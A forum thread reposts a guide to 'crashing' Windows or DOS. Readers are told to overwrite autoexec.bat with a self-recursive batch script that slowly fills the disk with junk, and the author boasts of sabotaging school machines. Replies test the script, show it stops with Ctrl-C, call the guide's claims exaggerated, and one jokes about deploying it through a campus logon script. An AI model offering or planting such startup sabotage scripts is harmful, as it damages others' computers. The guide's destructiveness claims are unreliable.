How to crash windows...

[ridddder]

Some may say what doesn't, but I got this off the net this morning. Damn HS kids with nothing better to do.


How anyone can crash a Windows or MS-DOS computer by: niemand1

Using the simplest of resources a three year old could crash one, and
now you can too. Here is how it is done:
Go to DOS or open Notepad in accessories
Open the autoexec.bat file in the C:\ directory
Copy these two lines into the file:


@cd>>x
@%0

Delete all other lines in the autoexec.bat
Save

That's it. There is nothing else you have to do, this will fuck up the
machine indefinetly. Want to know how it works?

The @ symbol preceeding each command makes it so the command is not
displayed in DOS. cd>>x will copy the current directory into a file
called x. %0 repeats this command over and over again and lags the
computers processes. The file called x will eventually fill the hard
drive with useless data until nothing else will fit on the hard drive.

All you will see when you reboot the computer is this:

Starting MS-DOS...

The computer will most likely not respond to any commands after that.
The way to stop this program from destroying the computer is booting
with a system disk or holding the shift key on boot. When your in DOS
delete the lines from the autoexec.bat file so it won't fuck it up.
Replace the original commands in the autoexe.bat and save it. Reboot.

This program is completely malicious, I don't recommend you try it on
your own computer, it's senseless and insane. I got this idea a long
time ago from a guy named Scorpion, it has been tried, tested, and
will work. If I wanted to, I could crash every machine running at my
school, but that would be pointless. Don't use this for anything dumb,
it's more powerful than it looks, you have been warned.

this is a good reason to use Linux or MAC

Kinda false, so I thought I'd comment...

Not really crash - pause the startup. Fill the disk (slowly).

That's it. There is nothing else you have to do, this will fuck up the

False - I just did it on my laptop for proof as well.

It doesn't destroy anything.

Niemand1 has a power trip over something simple and silly. If the schools computers let him edit autoexec.bat, they're improperly setup and deserve to be trashed, too.

Here, I'll post the output of me running it right now, to show you what happened when I booted with it in autoexec.bat:

File is created:

C:\dumb>more test.bat
@cd>>x
@%0

Running it:

C:\dumb>test.bat

It's a batch job - so the standard batch commands are in effect. Control-C breaks out of batch files. Or control-break/pause.

So, Control-C:

^CTerminate batch job (Y/N)? y

C:\dumb>

File created - that's about it:

C:\dumb>dir
 Volume in drive C has no label.
 Volume Serial Number is C478-A7B6

 Directory of C:\dumb

09/17/2004  03:14 PM    <DIR>          .
09/17/2004  03:14 PM    <DIR>          ..
09/17/2004  03:13 PM                11 test.bat
09/17/2004  03:15 PM             9,162 x
               2 File(s)          9,173 bytes
               2 Dir(s)  21,755,985,920 bytes free

This isn't a dos/windows problem - it can be done in linux or macosx too, by editing the /etc/rc.d/ startup scripts. It's more of a 'improperly setup public access computer' issue than anything.

turn it on.

that's it.

windows has a 'fuck up now' command built in.

So...put this in the domain netlogon script for the campus-wide network, right?
